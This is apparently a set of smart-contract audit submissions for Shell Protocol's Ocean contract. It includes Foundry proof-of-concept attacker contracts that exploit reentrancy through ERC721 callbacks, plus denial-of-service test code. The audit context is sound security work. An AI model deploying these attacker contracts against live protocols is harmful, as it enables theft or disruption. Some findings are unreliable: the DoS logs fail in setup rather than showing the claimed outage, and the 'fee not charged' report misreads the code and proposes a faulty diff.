        amount = bound(amount, 1e17, IERC20(inputAddress).balanceOf(wallet) * 1e11);

        address outputAddress = adapter.primitive();

        IERC20(inputAddress).approve(address(ocean), amount);

        uint256 prevInputBalance = IERC20(inputAddress).balanceOf(wallet);
        uint256 prevOutputBalance = IERC20(outputAddress).balanceOf(wallet);

        Interaction[] memory interactions = new Interaction[](3);

        interactions[0] = Interaction({
            interactionTypeAndAddress: _fetchInteractionId(inputAddress, uint256(InteractionType.WrapErc20)),
            inputToken: 0,
            outputToken: 0,
            specifiedAmount: amount,
            metadata: bytes32(0)
        });

        interactions[1] = Interaction({
            interactionTypeAndAddress: _fetchInteractionId(address(adapter), uint256(InteractionType.ComputeOutputAmount)),
            inputToken: _calculateOceanId(inputAddress),
            outputToken: _calculateOceanId(outputAddress),
            specifiedAmount: type(uint256).max,
            metadata: bytes32(0)
        });

        interactions[2] = Interaction({
            interactionTypeAndAddress: _fetchInteractionId(outputAddress, uint256(InteractionType.UnwrapErc20)),
            inputToken: 0,
            outputToken: 0,
            specifiedAmount: type(uint256).max,
            metadata: bytes32(0)
        });

        // erc1155 token id's for balance delta
        uint256[] memory ids = new uint256[](2);
        ids[0] = _calculateOceanId(inputAddress);
        ids[1] = _calculateOceanId(outputAddress);

        uint256[] memory idx = new uint256[](2);
        idx[0] = uint256(type(uint256).max);
        idx[1] = uint256(type(uint256).max);
        address attacker = address(4);
        ocean.forwardedDoMultipleInteractions(interactions,idx,attacker);

        uint256 newInputBalance = IERC20(inputAddress).balanceOf(wallet);
        uint256 newOutputBalance = IERC20(outputAddress).balanceOf(wallet);

        assertLt(newInputBalance, prevInputBalance);
        assertGt(newOutputBalance, prevOutputBalance);

        vm.stopPrank();
    }

The test file is

test for src/test/fork/TestCurve2PoolAdapter.t.sol:TestCurve2PoolAdapter

The Log results are

forge test --match-test "testDosB" --gas-limit 9000000
[⠒] Compiling...
No files changed, compilation skipped

Running 1 test for src/test/fork/TestCurve2PoolAdapter.t.sol:TestCurve2PoolAdapter
[FAIL. Reason: EvmError: OutOfGas] setUp() (gas: 0)
Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 2.91ms
 
Ran 1 test suites: 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in src/test/fork/TestCurve2PoolAdapter.t.sol:TestCurve2PoolAdapter
[FAIL. Reason: EvmError: OutOfGas] setUp() (gas: 0)

Encountered a total of 1 failing tests, 0 tests succeeded

Tools Used

VS Code. Foundry.

Recommended Mitigation Steps

Caution is advised when you expect to have large arrays that grow over time. Actions that require looping across the entire data structure should be avoided.

If you absolutely must loop over an array of unknown size, then you should plan for it to potentially take multiple blocks, and therefore require multiple transactions.

Assessed type

DoS

Ether stuck in Ocean contract due to missing withdraw function

Lines of code

https://github.com/code-423n4/2023-11-shellprotocol/blob/485de7383cdf88284ee6bcf2926fb7c19e9fb257/src/ocean/Ocean.sol#L978

Vulnerability details

In Ocean.sol, users can get their Ether wrapped and unwrapped. The problem is that once you unwrap, there will be a fee charged. This fee supposedly can be withdrawn from multisig contract, also known as the owner. However, there is a missing withdraw function.

Impact

Ether is stuck in Ocean contract.

Tools Used

Manual Review

Recommended Mitigation Steps

Include a withdraw function that allows owner to withdraw ether which amount is ONLY to be based on fee charged. Under no circumstances, should the owner be able to withdraw all the ether in this contract as it will be a rug-pull.

Assessed type

ETH-Transfer

QA Report

See the markdown file with the details of this report here.

The Ocean is vulnerable to event-reordering re-entrancy attacks

Lines of code

https://github.com/code-423n4/2023-11-shellprotocol/blob/485de7383cdf88284ee6bcf2926fb7c19e9fb257/src/ocean/Ocean.sol#L838
https://github.com/code-423n4/2023-11-shellprotocol/blob/485de7383cdf88284ee6bcf2926fb7c19e9fb257/src/ocean/Ocean.sol#L876
https://github.com/code-423n4/2023-11-shellprotocol/blob/485de7383cdf88284ee6bcf2926fb7c19e9fb257/src/ocean/Ocean.sol#L893
https://github.com/code-423n4/2023-11-shellprotocol/blob/485de7383cdf88284ee6bcf2926fb7c19e9fb257/src/ocean/Ocean.sol#L933
https://github.com/code-423n4/2023-11-shellprotocol/blob/485de7383cdf88284ee6bcf2926fb7c19e9fb257/src/ocean/Ocean.sol#L969
https://github.com/code-423n4/2023-11-shellprotocol/blob/485de7383cdf88284ee6bcf2926fb7c19e9fb257/src/ocean/Ocean.sol#L905

Vulnerability details

Impact

The Ocean protocol is susceptible to event-reordering re-entrancy attacks, specifically targeting the WrapErc* and UnwrapErc* events. A malicious actor can possibly exploit this vulnerability to manipulate the frontend or monitoring services, potentially leading to the display of fake account balances.

Scope

  • This vulnerability affects all asset types: ERC20, ERC721, and ERC1155.
  • It is relevant to single and multiple interaction calls (doInteraction and doMultipleInteractions).

Implementing the malicious wallet is relatively straightforward due to the callback mechanism of certain asset types. However, a variant of this attack might be possible without callbacks by injecting an interaction to a malicious token contract in a doMultipleInteractions-call.

Scneario

  1. The attacker deploys a malicious wallet contract, as detailed in the Foundry example below.
  2. The attacker unwraps a token.
  3. The attacker re-enters the Ocean to wrap the token again.
  4. Normally, the order of events should be UnwrapErc* -> WrapErc*.
  5. The attacker reordered the sequence to WrapErc* -> UnwrapErc*.

Mitigation

a) Ensure that events are emitted before executing any untrusted external calls.
b) Utilize re-entrancy guards to prevent this type of attack.

Foundry Proof of Concept:

To demonstrate the re-entrancy vulnerability exploitation with an ERC721 token, follow these steps:

  1. Copy the test case contents into test/EventReordering.sol.
  2. Execute the command forge test --match-contract EventReordering -vvvv.
  3. Observe the resulting assertion violations and the event log.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console2} from "forge-std/Test.sol";
import {Ocean} from "../src/ocean/Ocean.sol";
import {Interaction, InteractionType} from "../src/ocean/Interactions.sol";

import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";

contract EventReordering is Test {
    Ocean public ocean;
    MyERC721 public erc721;

    AttackerWallet public alice;

    function setUp() public {
        ocean = new Ocean("");
        erc721 = new MyERC721("MyERC721", "MyERC721");
        vm.label(address(erc721), "MyERC721");
        alice = new AttackerWallet(address(erc721), address(ocean));
        vm.label(address(alice), "AttackerWallet");
        erc721.mint(address(alice), 1);
        vm.startPrank(address(alice));
        erc721.approve(address(ocean), 1);
        Interaction memory wrapERC721 = Interaction({
            interactionTypeAndAddress: _fetchInteractionId(address(erc721), uint256(InteractionType.WrapErc721)),
            inputToken: 0,
            outputToken: 0,
            specifiedAmount: 1,
            metadata: bytes32(uint256(1))
        });
        (uint256 _burnId, uint256 _burnAmount, uint256 mintId, uint256 mintAmount) = ocean.doInteraction(wrapERC721);
        vm.stopPrank();
    }

    function test_event_reordering() public {
        // This function unwraps an ERC721 token and uses a re-entering call
        // to wrap the token again.
        // The expected order of events is: 1. UnwrapERC721, 2. WrapERC721
        // However, the actual order of events is: 1. WrapERC721, 2. UnwrapERC721

        // 1. Step Alice unwraps her ERC721.
        Interaction memory unwrapERC721 = Interaction({
            interactionTypeAndAddress: _fetchInteractionId(address(erc721), uint256(InteractionType.UnwrapErc721)),
            inputToken: 0,
            outputToken: 0,
            specifiedAmount: 1,
            metadata: bytes32(uint256(1))
        });
        vm.expectEmit(true, true, true, true);
        emit Erc721Unwrap(address(erc721), 1, address(alice), _calculateOceanId(address(erc721), 1));
        vm.expectEmit(true, true, true, true);
        emit Erc721Wrap(address(erc721), 1, address(alice), _calculateOceanId(address(erc721), 1));
        vm.prank(address(alice));
        ocean.doInteraction(unwrapERC721);
    }

    event Erc721Wrap(address indexed erc721Token, uint256 erc721id, address indexed user, uint256 indexed oceanId);
    event Erc721Unwrap(address indexed erc721Token, uint256 erc721Id, address indexed user, uint256 indexed oceanId);

    function _fetchInteractionId(address token, uint256 interactionType) internal pure returns (bytes32) {
        uint256 packedValue = uint256(uint160(token));
        packedValue |= interactionType << 248;
        return bytes32(abi.encode(packedValue));
    }

    function _calculateOceanId(address tokenContract, uint256 tokenId) internal pure returns (uint256) {
        return uint256(keccak256(abi.encodePacked(tokenContract, tokenId)));
    }
}

contract AttackerWallet is IERC1155Receiver, IERC721Receiver {
    Ocean ocean;
    ERC721 public erc721;
    constructor (address erc721_, address ocean_) {
        ocean = Ocean(ocean_);
        erc721 = ERC721(erc721_);
    }

    function onERC721Received(address operator, address from, uint256 tokenId, bytes memory) public returns (bytes4) {
        // 2. Step: Re-enter into doInteraction and wrap the token again.
        erc721.approve(address(ocean), tokenId);
        Interaction memory wrapERC721 = Interaction({
            interactionTypeAndAddress: _fetchInteractionId(address(erc721), uint256(InteractionType.WrapErc721)),
            inputToken: 0,
            outputToken: 0,
            specifiedAmount: 1,
            metadata: bytes32(tokenId)
        });
        ocean.doInteraction(wrapERC721);
        return IERC721Receiver.onERC721Received.selector;
    }

    function onERC1155Received(address operator, address from, uint256 tokenId, uint256 amount, bytes memory) public returns (bytes4) {
        return IERC1155Receiver.onERC1155Received.selector;
    }

    function onERC1155BatchReceived(address, address, uint256[] memory, uint256[] memory, bytes memory) public returns (bytes4) {
        return IERC1155Receiver.onERC1155BatchReceived.selector;
    }

    function supportsInterface(bytes4 interfaceId) external view returns (bool) {
        return IERC1155Receiver(this).supportsInterface(interfaceId);
    }

    function _fetchInteractionId(address token, uint256 interactionType) internal pure returns (bytes32) {
        uint256 packedValue = uint256(uint160(token));
        packedValue |= interactionType << 248;
        return bytes32(abi.encode(packedValue));
    }
}

contract MyERC721 is ERC721 {
    constructor(string memory name_, string memory symbol_) ERC721(name_, symbol_) {}

    function mint(address to, uint256 tokenId) public {
        _mint(to, tokenId);
    }

}

Assessed type

Reentrancy

Fee wasn't charged in ERC20 unwrapped function

Lines of code

https://github.com/code-423n4/2023-11-shellprotocol/blob/485de7383cdf88284ee6bcf2926fb7c19e9fb257/src/ocean/Ocean.sol#L875

Vulnerability details

Shell protocol charges a fee for unwrapping tokens. Ocean::_erc20Unwrap function unwraps ERC20 tokens however the fee is not accounted for. Instead, the full amount of ERC20 tokens is sent back to the user.

// Ocean.sol
    function _erc20Unwrap(address tokenAddress, uint256 amount, address userAddress, uint256 inputToken) private {
        try IERC20Metadata(tokenAddress).decimals() returns (uint8 decimals) {
            uint256 feeCharged = _calculateUnwrapFee(amount);
            uint256 amountRemaining = amount - feeCharged;
            // @audit to-do may if it's 23 decimals
            (uint256 transferAmount, uint256 truncated) =
                _convertDecimals(NORMALIZED_DECIMALS, decimals, amountRemaining);
            feeCharged += truncated;
            
            _grantFeeToOcean(inputToken, feeCharged);
            // @audit-issue Fee is not charged, full amount is sent back to users
            SafeERC20.safeTransfer(IERC20(tokenAddress), userAddress, transferAmount);
            emit Erc20Unwrap(tokenAddress, transferAmount, amount, feeCharged, userAddress, inputToken);
        } catch {
            revert NO_DECIMAL_METHOD();
        }
    }

Impact

This causes the protocol to not earn any ERC20 tokens as fees for their unwrapping service in Shell Protocol.

Tools Used

Manual Review

Recommended Mitigation Steps

// Ocean.sol
    function _erc20Unwrap(address tokenAddress, uint256 amount, address userAddress, uint256 inputToken) private {
        try IERC20Metadata(tokenAddress).decimals() returns (uint8 decimals) {
            uint256 feeCharged = _calculateUnwrapFee(amount);
            uint256 amountRemaining = amount - feeCharged;
            // @audit to-do may if it's 23 decimals
            (uint256 transferAmount, uint256 truncated) =
                _convertDecimals(NORMALIZED_DECIMALS, decimals, amountRemaining);
            feeCharged += truncated;
            
            _grantFeeToOcean(inputToken, feeCharged);
            // @audit-ok change to amount after charged
--          SafeERC20.safeTransfer(IERC20(tokenAddress), userAddress, transferAmount);
++          SafeERC20.safeTransfer(IERC20(tokenAddress), userAddress, amountRemaining);
            emit Erc20Unwrap(tokenAddress, transferAmount, amount, feeCharged, userAddress, inputToken);
        } catch {
            revert NO_DECIMAL_METHOD();
        }
    }

Assessed type

Token-Transfer

Ensuring fees are accurately credited to the Ocean owner's ERC-1155 balance

Lines of code

https://github.com/code-423n4/2023-11-shellprotocol/blob/main/src/ocean/Ocean.sol#L864
https://github.com/code-423n4/2023-11-shellprotocol/blob/main/src/ocean/Ocean.sol#L1166
https://github.com/code-423n4/2023-11-shellprotocol/blob/main/src/ocean/Ocean.sol#L196

Vulnerability details

Impact

To guarantee that fees are accurately credited to the Ocean owner's ERC-1155 balance within the Ocean contract, I concentrated on the functions responsible for fee calculation and allocation, particularly during token unwrap operations. Ensuring this fee is correctly minted and added to the Ocean owner's ERC-1155 balance. Consider the following steps:

Fee Calculation:
Implementing fee calculation within functions like _erc20Unwrap. The fee is computed based on a predefined divisor and then subtracted from the total unwrap amount.

Minting Fee to Ocean Owner:
After calculating the fee, it is minted directly to the Ocean owner’s balance. This is done within the same unwrap functions, ensuring immediate and accurate fee allocation.

Updating Fee Structure:
Included mechanisms to update the fee structure, allowing the contract owner to adjust the fee divisor as necessary.

This approach ensures that all fees collected during unwrap operations are properly accounted for and credited to the Ocean owner, maintaining financial integrity and transparency within the contract's operations.

Proof of Concept:

Here is a detailed breakdown of how to implement this:

Fee Calculation during Unwrap Operations:
Ensure that the fee is correctly calculated during unwrap operations. This is done in the _erc20Unwrap, _erc1155Unwrap, and _etherUnwrap functions. The fee calculation is based on the unwrapFeeDivisor state variable, which is used to determine the fee amount that should be deducted from the unwrap amount.

For example, in the _erc20Unwrap function:

uint256 feeCharged = _calculateUnwrapFee(amount);
uint256 amountRemaining = amount - feeCharged;

Granting Fee to Ocean Owner:
After calculating the fee, it should be credited to the Ocean owner's balance. This is handled by the _grantFeeToOcean function. This function mints the calculated fee amount to the Ocean owner's ERC-1155 balance.

Example implementation within the _erc20Unwrap function:

_grantFeeToOcean(inputToken, feeCharged);

Minting Fee to Ocean Owner's Balance:
The _grantFeeToOcean function should mint the fee amount to the Ocean owner's balance. This is done by calling the _mintWithoutSafeTransferAcceptanceCheck function with the Ocean owner's address and the fee amount.

Implementation of _grantFeeToOcean:

function _grantFeeToOcean(uint256 oceanId, uint256 amount) private {
if (amount > 0) {
_mintWithoutSafeTransferAcceptanceCheck(owner(), oceanId, amount);
}
}

Updating the Unwrap Fee Divisor:
Ensure that the changeUnwrapFee function, which updates the unwrapFeeDivisor, can only be called by the contract owner (or a designated governance mechanism). This function allows changing the fee percentage.

Example implementation:

function changeUnwrapFee(uint256 nextUnwrapFeeDivisor) external override onlyOwner {
// Additional checks and logic...
unwrapFeeDivisor = nextUnwrapFeeDivisor;
}

Tools Used

VS code

Recommended Mitigation Steps

By following these steps, you can ensure that fees generated from unwrap operations in the Ocean contract are accurately minted to the Ocean owner's ERC-1155 balance, maintaining the integrity and expected functionality of the contract.

To test the implementation that ensures fees are accurately credited to the Ocean owner's ERC-1155 balance within the Ocean contract, we'll create a series of tests that verify the fee calculation, minting to the owner's balance, and the ability to update the fee structure. The key areas to test include:

Fee calculation during unwrap operations.
Granting the calculated fee to the Ocean owner.
The changeUnwrapFee function to update the fee divisor.
Here is a breakdown of the test suites:

Tests for Fee Calculation and Minting:
This suite tests the fee calculation during unwrap operations and ensures that the fee is minted to the Ocean owner’s balance.

describe("Fee Calculation and Minting", () => {
let ocean, erc20Token, owner, user;
const unwrapAmount = ethers.utils.parseEther("100");
const initialFeeDivisor = 2000; // Example fee divisor

before(async () => {
    // Deploy Ocean, ERC20 token, and get signers
    [owner, user] = await ethers.getSigners();
    // Deploy the Ocean contract and ERC20 token here...
});

it("should correctly calculate and mint fee during ERC20 unwrap", async () => {
    // Approve and unwrap ERC20 tokens
    await erc20Token.connect(user).approve(ocean.address, unwrapAmount);
    // Call _erc20Unwrap or equivalent function here...

    // Calculate expected fee
    const expectedFee = unwrapAmount.div(initialFeeDivisor);

    // Check owner’s balance for fee
    const ownerBalance = await ocean.balanceOf(owner.address, /* Ocean ID for ERC20 token */);
    expect(ownerBalance).to.equal(expectedFee);
});

// Repeat similar tests for _erc1155Unwrap and _etherUnwrap

});

Tests for Updating Fee Divisor:
This suite tests the changeUnwrapFee function, ensuring that only the contract owner can update the fee divisor and that it updates correctly.

describe("changeUnwrapFee function", () => {
let ocean, owner;
const newFeeDivisor = 1000; // New fee divisor

before(async () => {
    // Deploy Ocean and get owner signer
    [owner] = await ethers.getSigners();
    // Deploy the Ocean contract here...
});

it("should allow owner to change fee divisor", async () => {
    await expect(ocean.connect(owner).changeUnwrapFee(newFeeDivisor))
        .to.emit(ocean, "ChangeUnwrapFee")
        .withArgs(initialFeeDivisor, newFeeDivisor, owner.address);

    const currentDivisor = await ocean.unwrapFeeDivisor();
    expect(currentDivisor).to.equal(newFeeDivisor);
});

it("should revert if non-owner tries to change fee divisor", async () => {
    const nonOwner = /* get a non-owner signer */;
    await expect(ocean.connect(nonOwner).changeUnwrapFee(newFeeDivisor))
        .to.be.revertedWith("Ownable: caller is not the owner");
});

});

These test suites ensure that the fee calculation, minting process, and the ability to update the unwrap fee divisor are functioning as expected. They use Chai's expect for assertions, and you should replace the placeholders with actual contract deployments, function calls, and parameters based on your contract's implementation

Assessed type

Access Control

Read-only reentrancy in `doInteraction` and `doMultipleInteractions` functions

Lines of code

https://github.com/code-423n4/2023-11-shellprotocol/blob/485de7383cdf88284ee6bcf2926fb7c19e9fb257/src/ocean/Ocean.sol#L875
https://github.com/code-423n4/2023-11-shellprotocol/blob/485de7383cdf88284ee6bcf2926fb7c19e9fb257/src/ocean/Ocean.sol#L904
https://github.com/code-423n4/2023-11-shellprotocol/blob/485de7383cdf88284ee6bcf2926fb7c19e9fb257/src/ocean/Ocean.sol#L968
https://github.com/code-423n4/2023-11-shellprotocol/blob/485de7383cdf88284ee6bcf2926fb7c19e9fb257/src/ocean/Ocean.sol#L421
https://github.com/code-423n4/2023-11-shellprotocol/blob/485de7383cdf88284ee6bcf2926fb7c19e9fb257/src/ocean/Ocean.sol#L567
https://github.com/code-423n4/2023-11-shellprotocol/blob/485de7383cdf88284ee6bcf2926fb7c19e9fb257/src/ocean/Ocean.sol#L570

Vulnerability details

Overview

The doInteraction and doMultipleInteractions functions are vulnerable to several read-only reentrancy attacks. Specifically, this issue arises during the unwrapping of tokens. When tokens are unwrapped, the system enters an inconsistent state where the underlying token is returned to the owner, but the corresponding wrapped token has not yet been burned. This inconsistency allows for potential exploitation, misleading third parties into believing the same entity owns both the underlying and wrapped tokens concurrently, which is incorrect as the unwrapping process should entail the burning of wrapped tokens.

Attack Vector Through Callback Mechanism:

The vulnerability is especially pronounced due to the callback mechanism in ERC721, ERC1155, and ERC777 tokens. An attacker can exploit this by creating a wallet contract with malicious receive callbacks. During these callbacks, the Ocean is in an inconsistent state, allowing the attacker to execute arbitrary code, including interactions with external contracts. Consequently, third-party integrations relying on the Ocean's state can be misled into recognizing ownership of a wrapped token by the attacker, even though the token is technically burned by the end of the transaction.

This vulnerability is not limited to tokens with callback mechanisms; it extends to ERC20 tokens that do not incorporate ERC777 features. The attack process in this scenario is slightly more complex but still feasible:

  1. The attacker deploys a malicious ERC20, ERC1155, or ERC721 contract.
  2. They initiate a 2-step interaction, starting with the unwrapping of a legitimate token.
  3. The second interaction can be an arbitrary interaction with the malicious token.
  4. During the transfer of the malicious token, the attacker can run arbitrary code while the Ocean is in its inconsistent state.

Mitigation Strategies:

a) One solution is to modify the process by burning the wrapped token before transferring the underlying token back to the owner. While a read-only reentrancy attack could still occur, the potential damage is mitigated as the attacker could only demonstrate the absence of ownership of both the underlying and wrapped tokens. In the case of multi-interactions, tokens must be burned and transferred one after the other.

b) Another approach is implementing a cross-function reentrancy guard in the contract. This would involve locking the entire contract during transaction processing. Although this might be simpler to implement, it could impact the contract's composability.

Foundry Proof of Concept:

A foundry test for the ERC721 case is provided to demonstrate this vulnerability, highlighting the issue. It is important to note that ERC1155 and ERC20 tokens are also susceptible to this attack.

To replicate the issue, place the test code in test/ReadOnlyReentrancy.sol and execute the tests with forge test --match-contract ReadOnlyReentrancy -vvvv. Observe the Ocean's inconsistent state during the execution of the ERC721 callback.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console2} from "forge-std/Test.sol";
import {Ocean} from "../src/ocean/Ocean.sol";
import {Interaction, InteractionType} from "../src/ocean/Interactions.sol";

import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";

contract ReadOnlyReentrancy is Test {
    Ocean public ocean;
    MyERC721 public erc721;

    AttackerWallet public alice;

    function setUp() public {
        ocean = new Ocean("");
        erc721 = new MyERC721("MyERC721", "MyERC721");
        vm.label(address(erc721), "MyERC721");
        alice = new AttackerWallet(address(erc721));
        vm.label(address(alice), "AttackerWallet");
        erc721.mint(address(alice), 1);
    }

    function test_erc721_reentrancy() public {
        // This function wraps and unwraps an ERC721 token.
        // During the unwrapping a read-only reentrancy attack is performed.
        // When the read happens the Ocean is in an inconsistent state,
        // where the underlying NFT has been returned to the owner,
        // but the wrapped token has not been burned yet.

        // 1. Step: Alice wraps her ERC721
        vm.startPrank(address(alice));
        erc721.approve(address(ocean), 1);
        Interaction memory wrapERC721 = Interaction({
            interactionTypeAndAddress: _fetchInteractionId(address(erc721), uint256(InteractionType.WrapErc721)),
            inputToken: 0,
            outputToken: 0,
            specifiedAmount: 1,
            metadata: bytes32(uint256(1))
        });
        // 2. Step: Alice unwraps her ERC721
        // The re-entrancy is performed in the onERC721Received callback
        (uint256 _burnId, uint256 _burnAmount, uint256 mintId, uint256 mintAmount) = ocean.doInteraction(wrapERC721);
        assertTrue(erc721.ownerOf(1) == address(ocean));
        assertTrue(ocean.balanceOf(address(alice), mintId) == 1);
        Interaction memory unwrapERC721 = Interaction({
            interactionTypeAndAddress: _fetchInteractionId(address(erc721), uint256(InteractionType.UnwrapErc721)),
            inputToken: 0,
            outputToken: 0,
            specifiedAmount: 1,
            metadata: bytes32(uint256(1))
        });
        (uint256 burnId, uint256 burnAmount, uint256 _mintId, uint256 _mintAmount) = ocean.doInteraction(unwrapERC721);
        vm.stopPrank();

        // 4. Step: Check that the NFT was correctly returned to Alice
        // After the tx Alice is the owner of the underlying token
        assertTrue(erc721.ownerOf(1) == address(alice));
        // 5. Step: Check that the wrapped token was burned successuflly
        assertTrue(ocean.balanceOf(address(alice), mintId) == 0);
        // 6. Step: Check that the re-entrancy attack was successful
        // However, the re-entrancy attack was successful, hence the following assertion fails:
        assertTrue(!(alice.ownsWrappedToken() && alice.ownsUnderlyingToken()));
    }

    function _fetchInteractionId(address token, uint256 interactionType) internal pure returns (bytes32) {
        uint256 packedValue = uint256(uint160(token));
        packedValue |= interactionType << 248;
        return bytes32(abi.encode(packedValue));
    }

}

contract AttackerWallet is IERC1155Receiver, IERC721Receiver {
    ERC721 public erc721;

    bool public ownsWrappedToken;
    bool public ownsUnderlyingToken;

    constructor (address erc721_) {
        erc721 = ERC721(erc721_);
    }

    function onERC721Received(address operator, address from, uint256 tokenId, bytes memory) public returns (bytes4) {
        // 3. Step: Abuce received-callback to re-enter the Ocean contract
        // and perform a read-only reentrancy attack.
        // In this example, the attacker can demonstrate to a third party that he
        // simultaneously owns the underlying token and the wrapped token.
        // This should not be possible, as the wrapped tokens should be burned when the
        // underlying tokens are unwrapped.

        // Show that Alice the owner of the wrapped token
        uint256 oceanId = _calculateOceanId(address(erc721), tokenId);
        ownsWrappedToken = Ocean(from).balanceOf(address(this), oceanId) > 0;

        // Show that Alice is the owner of the underlying token
        ownsUnderlyingToken = erc721.ownerOf(tokenId) == address(this);

        return IERC721Receiver.onERC721Received.selector;
    }

    function onERC1155Received(address, address, uint256, uint256, bytes memory) public returns (bytes4) {
        return IERC1155Receiver.onERC1155Received.selector;
    }

    function onERC1155BatchReceived(address, address, uint256[] memory, uint256[] memory, bytes memory) public returns (bytes4) {
        return IERC1155Receiver.onERC1155BatchReceived.selector;
    }

    function supportsInterface(bytes4 interfaceId) external view returns (bool) {
        return IERC1155Receiver(this).supportsInterface(interfaceId);
    }

    function _calculateOceanId(address tokenContract, uint256 tokenId) internal pure returns (uint256) {
        return uint256(keccak256(abi.encodePacked(tokenContract, tokenId)));
    }
}

contract MyERC721 is ERC721 {
    constructor(string memory name_, string memory symbol_) ERC721(name_, symbol_) {}

    function mint(address to, uint256 tokenId) public {
        _mint(to, tokenId);
    }

}

Assessed type

Reentrancy

[M-01] Denial of service with block gas limit in the Ocean contract on doMultipleInteractions

Lines of code

https://github.com/code-423n4/2023-11-shellprotocol/blob/2bcf608ab18978c4c061817dd92d6aa2a868ac06/src/ocean/Ocean.sol#L229-L245

Vulnerability details

Impact

The function call on doMultipleInteractions with two values in an id array of uint256 max causes a denial of service for a gas limit over 8 million gas as specified in the log results of the proof of concept.

When smart contracts are deployed or functions inside them are called, the execution of these actions always requires a certain amount of gas, based of how much computation is needed to complete them. The Ethereum network specifies a block gas limit and the sum of all transactions included in a block can not exceed the threshold.

Programming patterns that are harmless in centralised applications can lead to Denial of Service conditions in smart contracts when the cost of executing a function exceeds the block gas limit. Modifying an array of unknown size, that increases in size over time, can lead to such a Denial of Service condition.

The payload is

        uint256[] memory idx = new uint256[](2);
        idx[0] = uint256(type(uint256).max);
        idx[1] = uint256(type(uint256).max);
        ocean.doMultipleInteractions(interactions,idx);

Proof of Concept

The vulnerable function is

    function doMultipleInteractions(
        Interaction[] calldata interactions,
        uint256[] calldata ids
    )
        external
        payable
        override
        returns (
            uint256[] memory burnIds,
            uint256[] memory burnAmounts,
            uint256[] memory mintIds,
            uint256[] memory mintAmounts
        )
    {
        emit OceanTransaction(msg.sender, interactions.length);
        return _doMultipleInteractions(interactions, ids, msg.sender);
    }

The POC Function is

function testDos(bool toggle, uint256 amount, uint256 unwrapFee) public {
        vm.startPrank(wallet);
        unwrapFee = bound(unwrapFee, 2000, type(uint256).max);
        ocean.changeUnwrapFee(unwrapFee);

        address inputAddress;

        if (toggle) {
            inputAddress = usdcAddress;
        } else {
            inputAddress = usdtAddress;
        }

        // taking decimals into account
        amount = bound(amount, 1e17, IERC20(inputAddress).balanceOf(wallet) * 1e11);

        address outputAddress = adapter.primitive();

        IERC20(inputAddress).approve(address(ocean), amount);

        uint256 prevInputBalance = IERC20(inputAddress).balanceOf(wallet);
        uint256 prevOutputBalance = IERC20(outputAddress).balanceOf(wallet);

        Interaction[] memory interactions = new Interaction[](3);

        interactions[0] = Interaction({
            interactionTypeAndAddress: _fetchInteractionId(inputAddress, uint256(InteractionType.WrapErc20)),
            inputToken: 0,
            outputToken: 0,
            specifiedAmount: amount,
            metadata: bytes32(0)
        });

        interactions[1] = Interaction({
            interactionTypeAndAddress: _fetchInteractionId(address(adapter), uint256(InteractionType.ComputeOutputAmount)),
            inputToken: _calculateOceanId(inputAddress),
            outputToken: _calculateOceanId(outputAddress),
            specifiedAmount: type(uint256).max,
            metadata: bytes32(0)
        });

        interactions[2] = Interaction({
            interactionTypeAndAddress: _fetchInteractionId(outputAddress, uint256(InteractionType.UnwrapErc20)),
            inputToken: 0,
            outputToken: 0,
            specifiedAmount: type(uint256).max,
            metadata: bytes32(0)
        });

        // erc1155 token id's for balance delta
        uint256[] memory ids = new uint256[](2);
        ids[0] = _calculateOceanId(inputAddress);
        ids[1] = _calculateOceanId(outputAddress);

        uint256[] memory idx = new uint256[](2);
        idx[0] = uint256(type(uint256).max);
        idx[1] = uint256(type(uint256).max);
        ocean.doMultipleInteractions(interactions,idx);

        uint256 newInputBalance = IERC20(inputAddress).balanceOf(wallet);
        uint256 newOutputBalance = IERC20(outputAddress).balanceOf(wallet);

        assertLt(newInputBalance, prevInputBalance);
        assertGt(newOutputBalance, prevOutputBalance);

        vm.stopPrank();
    }

The test file is

src/test/fork/TestCurve2PoolAdapter.t.sol:TestCurve2PoolAdapter

The Log results are

forge test --match-test "testDos" --gas-limit 8000000
[⠆] Compiling...
[⠆] Compiling 1 files with 0.8.20
[⠰] Solc 0.8.20 finished in 2.00s
Running 1 test for src/test/fork/TestCurve2PoolAdapter.t.sol:TestCurve2PoolAdapter
[FAIL. Reason: EvmError: OutOfGas] setUp() (gas: 0)
Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 2.55ms
 
Ran 1 test suites: 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in src/test/fork/TestCurve2PoolAdapter.t.sol:TestCurve2PoolAdapter
[FAIL. Reason: EvmError: OutOfGas] setUp() (gas: 0)

Encountered a total of 1 failing tests, 0 tests succeeded

Tools Used

VS Code. Foundry.

Recommended Mitigation Steps

Caution is advised when you expect to have large arrays that grow over time. Actions that require looping across the entire data structure should be avoided.

If you absolutely must loop over an array of unknown size, then you should plan for it to potentially take multiple blocks, and therefore require multiple transactions.

Assessed type

DoS

Use `call()` rather than `transfer()` on address payable

Lines of code

https://github.com/code-423n4/2023-11-shellprotocol/blob/485de7383cdf88284ee6bcf2926fb7c19e9fb257/src/ocean/Ocean.sol#L982

Vulnerability details

The transfer() and send() functions forward a fixed amount of 2300 gas. Historically, it has often been recommended to use these functions for value transfers to guard against reentrancy attacks. However, the gas cost of EVM instructions may change significantly during hard forks which may break already deployed contract systems that make fixed assumptions about gas costs. For example. EIP 1884 broke several existing smart contracts due to a cost increase of the SLOAD instruction.

Impact

The use of the deprecated transfer() function for an address will inevitably make the transaction fail when:
The claimer smart contract does not implement a payable function.
The claimer smart contract does implement a payable fallback which uses more than 2300 gas unit.
The claimer smart contract implements a payable fallback function that needs less than 2300 gas units but is called through proxy, raising the call's gas usage above 2300.
Additionally, using higher than 2300 gas might be mandatory for some multisig wallets.

Tools Used

Manual Review

Recommended Mitigation Steps

Use call() instead of transfer(), but be sure to respect the CEI pattern and/or add re-entrancy guards, as several hacks already happened in the past due to this recommendation not being fully understood.

Assessed type

ETH-Transfer

Case against CurveTricryptoAdapter

Lines of code

